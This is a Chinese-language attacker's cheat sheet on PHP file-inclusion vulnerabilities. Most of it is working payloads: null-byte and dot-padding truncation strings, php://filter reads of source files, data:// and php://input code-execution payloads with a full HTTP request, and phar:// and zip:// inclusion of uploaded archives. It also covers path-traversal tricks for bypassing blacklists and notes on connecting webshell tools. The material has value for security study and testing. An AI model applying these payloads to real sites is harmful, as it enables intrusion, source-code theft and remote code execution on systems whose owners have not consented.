文章目录
- 1、造成漏洞四个函数
- 2、截断后边拼接的字符
- 2.1、场景:
- 2.2、00截断限制
- 2.3、垃圾字符填充
- 2.4、在目标服务器创建文件
- 3、远程文件包含
- 4、涉及伪协议
- 4.1、 fillter、file
- 4.2、data协议
- 4.3、php://input协议
- 4.4、 phar:// 协议
- 4.5、 zip协议
- 4.6、其他协议参考
- 5、其他小tips
- 5.1、快速寻找文件包含漏洞
- 5.2、写了吗一直无法连接
- 5.3、CMD的小技巧(重要)
- 5.4、数据库的存储最终也会以文件的形式保存在本地
1、造成漏洞四个函数
require() //有错误信息警告退出
include() //错误信息继续执行#包含一次
require_once()
include_once()两个函数的区别原因是,include是先正常执行原本的代码,执行到包含的地方再把包含文件拿过来执行。require是先整合完整的代码,在一起执行
2、截断后边拼接的字符
2.1、场景:
'var/tmp/'.$aa.'.pdf'可以控制 $aa,如何达到任意文件读取在高版本php的情况下,这种几乎无法利用
2.2、00截断限制
php版本要小于5.3magic_quotes_gpc需要为OFF状态使用:http://aa.com?a.php?aa/../../a.php%00参考:https://ms12020.github.io/2021/05/05/wen-jian-bao-han-jie-duan/
2.3、垃圾字符填充
php版本小于5.3win系统需要超过256字符Linux需要超过4096字符
test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/./././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
/./././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
或者使用
test.txt.............................................................................................................................................................................................................
2.4、在目标服务器创建文件
参考p牛文章,个人实际测试失败,但是该方法应该是综上最优的了https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
3、远程文件包含
allow_url_fopen = On(是否允许打开远程文件)allow_url_include = On(是否允许include/require远程文件) (默认是关闭 )
所以,默认情况下是无法造成此漏洞的
远程包含截断使用“?”或者“%23”截断本质传参和锚点忽略原本拼接的字符串
不过LFI和RFI其实也不是绝对的隔离:
windows可以通过SMB文件共享来绕过allow_url_include = on文件包含的时候通过SMB共享文件来包含当然这种特定的环境还是比较少见的
4、涉及伪协议
4.1、 fillter、file
用来读取服务器源代码
rce=php://filter/convert.base64-encode/resource=../flag.phprce=php://filter/read=convert.base64-encode/resource=../flag.phprce=file://C:\1.txt #file://+绝对路径
4.2、data协议
先说data协议与上边的差不多
rce=data://text/plain,<?php phpinfo();?>rce=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
PD9waHAgcGhwaW5mbygpOw== 是 <?php phpinfo();结尾没有“ ?> ” 具体原因参考data细节,https://blog.csdn.net/qq_46091464/article/details/106665358
4.3、php://input协议
php://input需要进行post传参(即使后端使用的$_GET[‘rce’]来获取)
详细请求数据包,
POST /page/include.php?rce=php://input HTTP/1.1
Host: www.phpsec.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18<?php phpinfo();?>
注意的是,当enctype="multipart/form-data"时,php://input是无效的。
4.4、 phar:// 协议
限制:
php.ini配置文件内 phar.readonly 需要设置为off(默认为on)需要将恶意代码打包成zip压缩包,然后上传到服务器上
例如:
http://www.phpsec.com/page/include.php?rce=phar://./php.zip/php.txt
4.5、 zip协议
与phar协议利用类似(不过似乎没有上面的限制)
zip://./php.zip%23php.txt
4.6、其他协议参考
https://segmentfault.com/a/1190000018991087
5、其他小tips
5.1、快速寻找文件包含漏洞
直接搜索“include”关键字,然后查看语句。有这种比较明显的可以直接去看。include 'xxx/xxx/xxx'. $_POST['aa'] .'/xxx.php';
5.2、写了吗一直无法连接
考虑换一个版本的菜刀或者换“一件”之类的工具
假设有“魔术引号”的困扰,可以采取header传参的方式绕过
5.3、CMD的小技巧(重要)
先cd到一个不存在的路径,然后在跳出这个不存在的文件夹(一般用来绕过某种限制)比如,cd asdasdasd!!@#$%^&*/../admin == cd admin
类似的场景,存在正则不准以index开头,
但是我们想访问的就得以index开头,就可以这么用。
a/../index
或者绕过黑名单,
$heimingdan = arrar('import.php','export.php');var_dump(in_array($_REQUEST['xx']),$heimingdan);可以传入, “ xx=a/../import.php ”
5.4、数据库的存储最终也会以文件的形式保存在本地
比如mysql数据库的数据,都会保存在其“ mysql/data/ ”文件夹下,
应该是这个关系
aa数据库,bb表,内cc字段的话;就是“ mysql/data/aa/bb.frm ”文件,而cc字段在这个文件内。
另外可以通过以下语句来查询数据库存储的位置,
select @@datadir